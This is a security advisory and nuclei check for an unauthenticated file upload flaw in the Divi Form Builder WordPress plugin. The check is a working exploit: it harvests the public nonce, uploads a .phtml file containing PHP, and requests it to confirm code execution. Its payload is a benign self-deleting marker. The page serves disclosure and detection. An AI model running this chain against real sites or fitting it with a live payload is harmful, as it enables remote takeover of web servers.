CVE-2026-5524· elegantthemes / divi-form-builder· CWE-434
Divi Form Builder <=5.1.8 - Unauthenticated Arbitrary File Upload RCE
The Divi Form Builder plugin for WordPress versions 5.1.8 and prior contains an unauthenticated arbitrary file upload vulnerability in the do_image_upload() AJAX handler. The user-controlled acceptFileTypes POST parameter is injected unsanitized into a PHP regex for file extension validation. By supplying acceptFileTypes=phtml the constructed regex accepts .phtml files while the plugin's .htaccess only blocks .php, so Apache executes .phtml files as PHP. The required nonce (fb_nonce) is publicly embedded in any page containing a Divi form via the de_fb_obj JavaScript object. Uploaded shells land in /wp-content/uploads/de_fb_uploads/. Fixed in 5.1.9.
Impact
Unauthenticated remote attackers can upload and execute arbitrary PHP code as the web server user, achieving full remote code execution on any WordPress site running the vulnerable plugin version with a publicly accessible form page.
Fix
Update the Divi Form Builder plugin to version 5.1.9 or later, which validates file extensions without relying on the user-controlled acceptFileTypes parameter.
How to confirm it
Send: GET {{paths}}
Positive when: contains(body, "de_fb_obj") && contains(body, "fb_nonce") and status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(body, "files") && contains(body, "{{fname}}") and status_code == 200
Send: GET /wp-content/uploads/de_fb_uploads/{{fname}}.phtml
Positive when: contains(body, "{{md5(marker)}}") and status_code == 200Run it with nuclei: nuclei -id CVE-2026-5524 -u <target>
The full check
id: CVE-2026-5524
info:
name: Divi Form Builder <=5.1.8 - Unauthenticated Arbitrary File Upload RCE
author: DhiyaneshDk
severity: critical
description: |
The Divi Form Builder plugin for WordPress versions 5.1.8 and prior contains an unauthenticated arbitrary file upload vulnerability in the do_image_upload() AJAX handler. The user-controlled acceptFileTypes POST parameter is injected unsanitized into a PHP regex for file extension validation. By supplying acceptFileTypes=phtml the constructed regex accepts .phtml files while the plugin's .htaccess only blocks .php, so Apache executes .phtml files as PHP. The required nonce (fb_nonce) is publicly embedded in any page containing a Divi form via the de_fb_obj JavaScript object. Uploaded shells land in /wp-content/uploads/de_fb_uploads/. Fixed in 5.1.9.
impact: |
Unauthenticated remote attackers can upload and execute arbitrary PHP code as the web server user, achieving full remote code execution on any WordPress site running the vulnerable plugin version with a publicly accessible form page.
remediation: |
Update the Divi Form Builder plugin to version 5.1.9 or later, which validates file extensions without relying on the user-controlled acceptFileTypes parameter.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-5524
- https://github.com/caterscam/CVE-2026-5524-PoC
- https://wpscan.com/vulnerability/CVE-2026-5524
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-5524
epss-score: 0.03484
epss-percentile: 0.89218
cwe-id: CWE-434
metadata:
verified: true
max-request: 8
vendor: elegantthemes
product: divi-form-builder
framework: wordpress
publicwww-query: "/wp-content/plugins/divi-form-builder/"
tags: cve,cve2026,wordpress,wp-plugin,divi,elegantthemes,file-upload,rce,unauth,intrusive,vkev
variables:
fname: "{{rand_text_alpha(8)}}"
marker: "{{randstr}}"
flow: |
http(1)
if (template["fb_nonce"] == "") {
stop()
}
http(2) && http(3)
http:
- raw:
- |
GET {{paths}} HTTP/1.1
Host: {{Hostname}}
Cache-Control: no-cache
payloads:
paths:
- "/"
- "/contact"
- "/contact-us"
- "/get-in-touch"
- "/quote"
- "/demo"
attack: clusterbomb
stop-at-first-match: true
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains(body, "de_fb_obj") && contains(body, "fb_nonce")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
name: fb_nonce
part: body
internal: true
group: 1
regex:
- '"fb_nonce"\s*:\s*"([a-f0-9]{10})"'
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDFB5524PoC
Origin: {{RootURL}}
Referer: {{RootURL}}/
------WebKitFormBoundaryDFB5524PoC
Content-Disposition: form-data; name="action"
de_fb_image_upload
------WebKitFormBoundaryDFB5524PoC
Content-Disposition: form-data; name="fb_nonce"
{{fb_nonce}}
------WebKitFormBoundaryDFB5524PoC
Content-Disposition: form-data; name="acceptFileTypes"
phtml
------WebKitFormBoundaryDFB5524PoC
Content-Disposition: form-data; name="file"; filename="{{fname}}.phtml"
Content-Type: image/jpeg
<?php echo md5('{{marker}}');unlink(__FILE__);?>
------WebKitFormBoundaryDFB5524PoC--
matchers:
- type: dsl
dsl:
- 'contains(body, "files") && contains(body, "{{fname}}")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
GET /wp-content/uploads/de_fb_uploads/{{fname}}.phtml HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "{{md5(marker)}}")'
- 'status_code == 200'
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2026-5524
- https://github.com/caterscam/CVE-2026-5524-PoC
- https://wpscan.com/vulnerability/CVE-2026-5524
Use this check only on systems you are authorised to test. Where the data comes from